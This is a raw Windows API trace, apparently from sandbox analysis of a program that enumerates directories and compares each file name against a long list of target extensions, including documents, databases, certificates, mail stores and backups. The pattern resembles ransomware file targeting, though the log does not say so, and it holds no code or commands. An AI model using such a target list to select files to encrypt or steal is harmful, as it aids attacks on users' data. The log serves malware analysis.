1 [0263.797] lstrlenW (lpString=".gif") returned 4 [0263.797] lstrcmpiW (lpString1=".gif", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".grs") returned 4 [0263.798] lstrcmpiW (lpString1=".grs", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".gz") returned 3 [0263.798] lstrcmpiW (lpString1=".gz", lpString2="BDR") returned -1 [0263.798] lstrlenW (lpString=".h") returned 2 [0263.798] lstrcmpiW (lpString1=".h", lpString2="DR") returned -1 [0263.798] lstrlenW (lpString=".hdr") returned 4 [0263.798] lstrcmpiW (lpString1=".hdr", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".hpp") returned 4 [0263.798] lstrcmpiW (lpString1=".hpp", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".hta") returned 4 [0263.798] lstrcmpiW (lpString1=".hta", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".htc") returned 4 [0263.798] lstrcmpiW (lpString1=".htc", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".htm") returned 4 [0263.798] lstrcmpiW (lpString1=".htm", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".html") returned 5 [0263.798] lstrcmpiW (lpString1=".html", lpString2="1.BDR") returned -1 [0263.798] lstrlenW (lpString=".icb") returned 4 [0263.798] lstrcmpiW (lpString1=".icb", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".ics") returned 4 [0263.798] lstrcmpiW (lpString1=".ics", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".iff") returned 4 [0263.798] lstrcmpiW (lpString1=".iff", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".inc") returned 4 [0263.798] lstrcmpiW (lpString1=".inc", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".indd") returned 5 [0263.798] lstrcmpiW (lpString1=".indd", lpString2="1.BDR") returned -1 [0263.798] lstrlenW (lpString=".ini") returned 4 [0263.798] lstrcmpiW (lpString1=".ini", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".iqy") returned 4 [0263.798] lstrcmpiW (lpString1=".iqy", lpString2=".BDR") returned 1 [0263.798] lstrlenW (lpString=".j2c") returned 4 [0263.799] lstrcmpiW (lpString1=".j2c", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".j2k") returned 4 [0263.799] lstrcmpiW (lpString1=".j2k", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".java") returned 5 [0263.799] lstrcmpiW (lpString1=".java", lpString2="1.BDR") returned -1 [0263.799] lstrlenW (lpString=".jp2") returned 4 [0263.799] lstrcmpiW (lpString1=".jp2", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".jpc") returned 4 [0263.799] lstrcmpiW (lpString1=".jpc", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".jpe") returned 4 [0263.799] lstrcmpiW (lpString1=".jpe", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".jpeg") returned 5 [0263.799] lstrcmpiW (lpString1=".jpeg", lpString2="1.BDR") returned -1 [0263.799] lstrlenW (lpString=".jpf") returned 4 [0263.799] lstrcmpiW (lpString1=".jpf", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".jpg") returned 4 [0263.799] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".jpx") returned 4 [0263.799] lstrcmpiW (lpString1=".jpx", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".js") returned 3 [0263.799] lstrcmpiW (lpString1=".js", lpString2="BDR") returned -1 [0263.799] lstrlenW (lpString=".jsf") returned 4 [0263.799] lstrcmpiW (lpString1=".jsf", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".json") returned 5 [0263.799] lstrcmpiW (lpString1=".json", lpString2="1.BDR") returned -1 [0263.799] lstrlenW (lpString=".jsp") returned 4 [0263.799] lstrcmpiW (lpString1=".jsp", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".kdc") returned 4 [0263.799] lstrcmpiW (lpString1=".kdc", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".kmz") returned 4 [0263.799] lstrcmpiW (lpString1=".kmz", lpString2=".BDR") returned 1 [0263.799] lstrlenW (lpString=".kwm") returned 4 [0263.799] lstrcmpiW (lpString1=".kwm", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".lasso") returned 6 [0263.800] lstrcmpiW (lpString1=".lasso", lpString2="T1.BDR") returned -1 [0263.800] lstrlenW (lpString=".lbi") returned 4 [0263.800] lstrcmpiW (lpString1=".lbi", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".lgf") returned 4 [0263.800] lstrcmpiW (lpString1=".lgf", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".lgp") returned 4 [0263.800] lstrcmpiW (lpString1=".lgp", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".log") returned 4 [0263.800] lstrcmpiW (lpString1=".log", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".m1v") returned 4 [0263.800] lstrcmpiW (lpString1=".m1v", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".m4a") returned 4 [0263.800] lstrcmpiW (lpString1=".m4a", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".m4v") returned 4 [0263.800] lstrcmpiW (lpString1=".m4v", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".max") returned 4 [0263.800] lstrcmpiW (lpString1=".max", lpString2=".BDR") returned 1 [0263.800] lstrlenW (lpString=".md") returned 3 [0263.800] lstrcmpiW (lpString1=".md", lpString2="BDR") returned -1 [0263.800] lstrlenW (lpString=".mda") returned 4 [0263.801] lstrcmpiW (lpString1=".mda", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mdb") returned 4 [0263.801] lstrcmpiW (lpString1=".mdb", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mde") returned 4 [0263.801] lstrcmpiW (lpString1=".mde", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mdf") returned 4 [0263.801] lstrcmpiW (lpString1=".mdf", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mdw") returned 4 [0263.801] lstrcmpiW (lpString1=".mdw", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mef") returned 4 [0263.801] lstrcmpiW (lpString1=".mef", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mft") returned 4 [0263.801] lstrcmpiW (lpString1=".mft", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mfw") returned 4 [0263.801] lstrcmpiW (lpString1=".mfw", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mht") returned 4 [0263.801] lstrcmpiW (lpString1=".mht", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mhtml") returned 6 [0263.801] lstrcmpiW (lpString1=".mhtml", lpString2="T1.BDR") returned -1 [0263.801] lstrlenW (lpString=".mka") returned 4 [0263.801] lstrcmpiW (lpString1=".mka", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mkidx") returned 6 [0263.801] lstrcmpiW (lpString1=".mkidx", lpString2="T1.BDR") returned -1 [0263.801] lstrlenW (lpString=".mkv") returned 4 [0263.801] lstrcmpiW (lpString1=".mkv", lpString2=".BDR") returned 1 [0263.801] lstrlenW (lpString=".mos") returned 4 [0263.802] lstrcmpiW (lpString1=".mos", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".mov") returned 4 [0263.802] lstrcmpiW (lpString1=".mov", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".mp3") returned 4 [0263.802] lstrcmpiW (lpString1=".mp3", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".mp4") returned 4 [0263.802] lstrcmpiW (lpString1=".mp4", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".mpeg") returned 5 [0263.802] lstrcmpiW (lpString1=".mpeg", lpString2="1.BDR") returned -1 [0263.802] lstrlenW (lpString=".mpg") returned 4 [0263.802] lstrcmpiW (lpString1=".mpg", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".mpv") returned 4 [0263.802] lstrcmpiW (lpString1=".mpv", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".mrw") returned 4 [0263.802] lstrcmpiW (lpString1=".mrw", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".msg") returned 4 [0263.802] lstrcmpiW (lpString1=".msg", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".mxl") returned 4 [0263.802] lstrcmpiW (lpString1=".mxl", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".myd") returned 4 [0263.802] lstrcmpiW (lpString1=".myd", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".myi") returned 4 [0263.802] lstrcmpiW (lpString1=".myi", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".nef") returned 4 [0263.802] lstrcmpiW (lpString1=".nef", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".nrw") returned 4 [0263.802] lstrcmpiW (lpString1=".nrw", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".obj") returned 4 [0263.802] lstrcmpiW (lpString1=".obj", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".odb") returned 4 [0263.802] lstrcmpiW (lpString1=".odb", lpString2=".BDR") returned 1 [0263.802] lstrlenW (lpString=".odc") returned 4 [0263.803] lstrcmpiW (lpString1=".odc", lpString2=".BDR") returned 1 [0263.803] lstrlenW (lpString=".odm") returned 4 [0263.803] lstrcmpiW (lpString1=".odm", lpString2=".BDR") returned 1 [0263.803] lstrlenW (lpString=".odp") returned 4 [0263.803] lstrcmpiW (lpString1=".odp", lpString2=".BDR") returned 1 [0263.803] lstrlenW (lpString=".ods") returned 4 [0263.803] lstrcmpiW (lpString1=".ods", lpString2=".BDR") returned 1 [0263.803] lstrlenW (lpString=".oft") returned 4 [0263.803] lstrcmpiW (lpString1=".oft", lpString2=".BDR") returned 1 [0263.803] lstrlenW (lpString=".one") returned 4 [0263.803] lstrcmpiW (lpString1=".one", lpString2=".BDR") returned 1 [0263.803] lstrlenW (lpString=".onepkg") returned 7 [0263.803] lstrcmpiW (lpString1=".onepkg", lpString2="RT1.BDR") returned -1 [0263.803] lstrlenW (lpString=".onetoc2") returned 8 [0263.803] lstrcmpiW (lpString1=".onetoc2", lpString2="ART1.BDR") returned -1 [0263.804] lstrlenW (lpString=".opt") returned 4 [0263.804] lstrcmpiW (lpString1=".opt", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".oqy") returned 4 [0263.804] lstrcmpiW (lpString1=".oqy", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".orf") returned 4 [0263.804] lstrcmpiW (lpString1=".orf", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".p12") returned 4 [0263.804] lstrcmpiW (lpString1=".p12", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".p7b") returned 4 [0263.804] lstrcmpiW (lpString1=".p7b", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".p7c") returned 4 [0263.804] lstrcmpiW (lpString1=".p7c", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pam") returned 4 [0263.804] lstrcmpiW (lpString1=".pam", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pbm") returned 4 [0263.804] lstrcmpiW (lpString1=".pbm", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pct") returned 4 [0263.804] lstrcmpiW (lpString1=".pct", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pcx") returned 4 [0263.804] lstrcmpiW (lpString1=".pcx", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pdd") returned 4 [0263.804] lstrcmpiW (lpString1=".pdd", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pdf") returned 4 [0263.804] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pdp") returned 4 [0263.804] lstrcmpiW (lpString1=".pdp", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pef") returned 4 [0263.804] lstrcmpiW (lpString1=".pef", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pem") returned 4 [0263.804] lstrcmpiW (lpString1=".pem", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pff") returned 4 [0263.804] lstrcmpiW (lpString1=".pff", lpString2=".BDR") returned 1 [0263.804] lstrlenW (lpString=".pfm") returned 4 [0263.805] lstrcmpiW (lpString1=".pfm", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".pfx") returned 4 [0263.805] lstrcmpiW (lpString1=".pfx", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".pgm") returned 4 [0263.805] lstrcmpiW (lpString1=".pgm", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".php") returned 4 [0263.805] lstrcmpiW (lpString1=".php", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".php3") returned 5 [0263.805] lstrcmpiW (lpString1=".php3", lpString2="1.BDR") returned -1 [0263.805] lstrlenW (lpString=".php4") returned 5 [0263.805] lstrcmpiW (lpString1=".php4", lpString2="1.BDR") returned -1 [0263.805] lstrlenW (lpString=".php5") returned 5 [0263.805] lstrcmpiW (lpString1=".php5", lpString2="1.BDR") returned -1 [0263.805] lstrlenW (lpString=".phtml") returned 6 [0263.805] lstrcmpiW (lpString1=".phtml", lpString2="T1.BDR") returned -1 [0263.805] lstrlenW (lpString=".pict") returned 5 [0263.805] lstrcmpiW (lpString1=".pict", lpString2="1.BDR") returned -1 [0263.805] lstrlenW (lpString=".pl") returned 3 [0263.805] lstrcmpiW (lpString1=".pl", lpString2="BDR") returned -1 [0263.805] lstrlenW (lpString=".pls") returned 4 [0263.805] lstrcmpiW (lpString1=".pls", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".pm") returned 3 [0263.805] lstrcmpiW (lpString1=".pm", lpString2="BDR") returned -1 [0263.805] lstrlenW (lpString=".png") returned 4 [0263.805] lstrcmpiW (lpString1=".png", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".pnm") returned 4 [0263.805] lstrcmpiW (lpString1=".pnm", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".pot") returned 4 [0263.805] lstrcmpiW (lpString1=".pot", lpString2=".BDR") returned 1 [0263.805] lstrlenW (lpString=".potm") returned 5 [0263.806] lstrcmpiW (lpString1=".potm", lpString2="1.BDR") returned -1 [0263.806] lstrlenW (lpString=".potx") returned 5 [0263.806] lstrcmpiW (lpString1=".potx", lpString2="1.BDR") returned -1 [0263.806] lstrlenW (lpString=".ppa") returned 4 [0263.806] lstrcmpiW (lpString1=".ppa", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".ppam") returned 5 [0263.806] lstrcmpiW (lpString1=".ppam", lpString2="1.BDR") returned -1 [0263.806] lstrlenW (lpString=".ppm") returned 4 [0263.806] lstrcmpiW (lpString1=".ppm", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".pps") returned 4 [0263.806] lstrcmpiW (lpString1=".pps", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".ppsm") returned 5 [0263.806] lstrcmpiW (lpString1=".ppsm", lpString2="1.BDR") returned -1 [0263.806] lstrlenW (lpString=".ppt") returned 4 [0263.806] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".pptm") returned 5 [0263.806] lstrcmpiW (lpString1=".pptm", lpString2="1.BDR") returned -1 [0263.806] lstrlenW (lpString=".pptx") returned 5 [0263.806] lstrcmpiW (lpString1=".pptx", lpString2="1.BDR") returned -1 [0263.806] lstrlenW (lpString=".prn") returned 4 [0263.806] lstrcmpiW (lpString1=".prn", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".ps") returned 3 [0263.806] lstrcmpiW (lpString1=".ps", lpString2="BDR") returned -1 [0263.806] lstrlenW (lpString=".psb") returned 4 [0263.806] lstrcmpiW (lpString1=".psb", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".psd") returned 4 [0263.806] lstrcmpiW (lpString1=".psd", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".pst") returned 4 [0263.806] lstrcmpiW (lpString1=".pst", lpString2=".BDR") returned 1 [0263.806] lstrlenW (lpString=".ptx") returned 4 [0263.807] lstrcmpiW (lpString1=".ptx", lpString2=".BDR") returned 1 [0263.807] lstrlenW (lpString=".pub") returned 4 [0263.807] lstrcmpiW (lpString1=".pub", lpString2=".BDR") returned 1 [0263.807] lstrlenW (lpString=".pwm") returned 4 [0263.807] lstrcmpiW (lpString1=".pwm", lpString2=".BDR") returned 1 [0263.807] lstrlenW (lpString=".pxr") returned 4 [0263.807] lstrcmpiW (lpString1=".pxr", lpString2=".BDR") returned 1 [0263.807] lstrlenW (lpString=".py") returned 3 [0263.807] lstrcmpiW (lpString1=".py", lpString2="BDR") returned -1 [0263.807] lstrlenW (lpString=".qt") returned 3 [0263.807] lstrcmpiW (lpString1=".qt", lpString2="BDR") returned -1 [0263.807] lstrlenW (lpString=".r3d") returned 4 [0263.807] lstrcmpiW (lpString1=".r3d", lpString2=".BDR") returned 1 [0263.808] RtlpDeCommitFreeBlock () [0263.808] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0263.811] RtlpDeCommitFreeBlock () [0263.811] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0263.812] RtlpDeCommitFreeBlock () [0263.812] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0264.130] RtlpDeCommitFreeBlock () [0264.133] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0264.133] FindClose (in: hFindFile=0x46041b8 | out: hFindFile=0x46041b8) returned 1 [0264.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45dc188 | out: hHeap=0x540000) returned 1 [0264.194] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0264.195] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0264.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0264.195] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0264.195] lstrlenW (lpString="DRILLDWN.DLL") returned 12 [0264.195] lstrlenW (lpString=".1cd") returned 4 [0264.195] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0264.195] lstrlenW (lpString=".3ds") returned 4 [0264.195] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0264.195] lstrlenW (lpString=".3fr") returned 4 [0264.195] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0264.195] lstrlenW (lpString=".3g2") returned 4 [0264.195] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0264.195] lstrlenW (lpString=".3gp") returned 4 [0264.195] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0264.195] lstrlenW (lpString=".7z") returned 3 [0264.195] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0264.195] lstrlenW (lpString=".accda") returned 6 [0264.195] lstrcmpiW (lpString1=".accda", lpString2="WN.DLL") returned -1 [0264.195] lstrlenW (lpString=".accdb") returned 6 [0264.195] lstrcmpiW (lpString1=".accdb", lpString2="WN.DLL") returned -1 [0264.195] lstrlenW (lpString=".accdc") returned 6 [0264.195] lstrcmpiW (lpString1=".accdc", lpString2="WN.DLL") returned -1 [0264.195] lstrlenW (lpString=".accde") returned 6 [0264.195] lstrcmpiW (lpString1=".accde", lpString2="WN.DLL") returned -1 [0264.195] lstrlenW (lpString=".accdt") returned 6 [0264.195] lstrcmpiW (lpString1=".accdt", lpString2="WN.DLL") returned -1 [0264.195] lstrlenW (lpString=".accdw") returned 6 [0264.195] lstrcmpiW (lpString1=".accdw", lpString2="WN.DLL") returned -1 [0264.195] lstrlenW (lpString=".adb") returned 4 [0264.195] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".adp") returned 4 [0264.196] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".ai") returned 3 [0264.196] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0264.196] lstrlenW (lpString=".ai3") returned 4 [0264.196] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".ai4") returned 4 [0264.196] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".ai5") returned 4 [0264.196] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".ai6") returned 4 [0264.196] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".ai7") returned 4 [0264.196] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".ai8") returned 4 [0264.196] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".anim") returned 5 [0264.196] lstrcmpiW (lpString1=".anim", lpString2="N.DLL") returned -1 [0264.196] lstrlenW (lpString=".arw") returned 4 [0264.196] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".as") returned 3 [0264.196] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0264.196] lstrlenW (lpString=".asa") returned 4 [0264.196] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".asc") returned 4 [0264.196] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".ascx") returned 5 [0264.196] lstrcmpiW (lpString1=".ascx", lpString2="N.DLL") returned -1 [0264.196] lstrlenW (lpString=".asm") returned 4 [0264.196] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0264.196] lstrlenW (lpString=".asmx") returned 5 [0264.197] lstrcmpiW (lpString1=".asmx", lpString2="N.DLL") returned -1 [0264.197] lstrlenW (lpString=".asp") returned 4 [0264.197] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".aspx") returned 5 [0264.197] lstrcmpiW (lpString1=".aspx", lpString2="N.DLL") returned -1 [0264.197] lstrlenW (lpString=".asr") returned 4 [0264.197] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".asx") returned 4 [0264.197] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".avi") returned 4 [0264.197] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".avs") returned 4 [0264.197] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".backup") returned 7 [0264.197] lstrcmpiW (lpString1=".backup", lpString2="DWN.DLL") returned -1 [0264.197] lstrlenW (lpString=".bak") returned 4 [0264.197] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".bay") returned 4 [0264.197] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".bd") returned 3 [0264.197] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0264.197] lstrlenW (lpString=".bin") returned 4 [0264.197] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".bmp") returned 4 [0264.197] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".bz2") returned 4 [0264.197] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".c") returned 2 [0264.197] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0264.197] lstrlenW (lpString=".cdr") returned 4 [0264.197] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".cer") returned 4 [0264.197] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0264.197] lstrlenW (lpString=".cf") returned 3 [0264.197] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0264.198] lstrlenW (lpString=".cfc") returned 4 [0264.198] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".cfm") returned 4 [0264.198] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".cfml") returned 5 [0264.198] lstrcmpiW (lpString1=".cfml", lpString2="N.DLL") returned -1 [0264.198] lstrlenW (lpString=".cfu") returned 4 [0264.198] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".chm") returned 4 [0264.198] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".cin") returned 4 [0264.198] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".class") returned 6 [0264.198] lstrcmpiW (lpString1=".class", lpString2="WN.DLL") returned -1 [0264.198] lstrlenW (lpString=".clx") returned 4 [0264.198] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".config") returned 7 [0264.198] lstrcmpiW (lpString1=".config", lpString2="DWN.DLL") returned -1 [0264.198] lstrlenW (lpString=".cpp") returned 4 [0264.198] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".cr2") returned 4 [0264.198] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".crt") returned 4 [0264.198] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".crw") returned 4 [0264.198] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0264.198] lstrlenW 